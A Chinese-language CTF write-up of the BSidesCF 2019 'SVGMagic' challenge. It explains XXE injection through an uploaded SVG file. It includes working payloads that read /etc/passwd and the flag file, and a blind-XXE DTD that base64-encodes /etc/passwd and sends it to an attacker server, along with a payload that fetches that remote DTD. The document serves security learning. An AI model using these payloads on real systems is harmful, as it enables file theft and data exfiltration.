[BSidesCF 2019]SVGMagic
首先打开界面,感觉就是一个文件上传的题目 ,然后上传了jpg/php/png/.htaccess,感觉不是一道简单的题目,但是抓包也没有什么有用的信息。
页面上的英文翻译过来就是,使用Magic将SVG转换为PNG,所以考察的是SVG但是没遇到过
搜索svg发现了和xxe的漏洞
进入文章之后,就看到了svg格式的xxe如下所示,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
普通的xml二者对比,改变不多也就是<svg的标签,和宽高
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
然后直接上传 2.svg
读取成功然后就要猜测flag在哪里了,我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/cwd/flag.txt读取文件。当前进程工作目录
然后本来用的f*发现通配符在这不可以使用
盲注XXE
原理:有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。
本来想手动搭建一个blindxxe漏洞的场景,但是调试了半天,
报错整的太难受了,以后有能力再来复现。
说一下简单的原理:
首先在本地构建一个靶机,里面是盲注xxe的代码。
然后我们自己使用一个vps,在根目录 /var/www/html 下创建一个a.dtd文件
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.168.168:8888/?%file;'>">
% 这个其实就是%因为被包含了所以用这个代替
最后burp 抓包靶机,payload为
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/a.dtd"> %remote;%int;%send; ]>
最后发包,%remote先调用,vps上的 dtd文件,然后%int调用读取文件,最后send把读取后的发送到远程vps上,样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
参考文件:浅析无回显的XXE(Blind XXE) - FreeBuf网络安全行业门户
浅谈SVG的两个黑魔法_svg (sohu.com)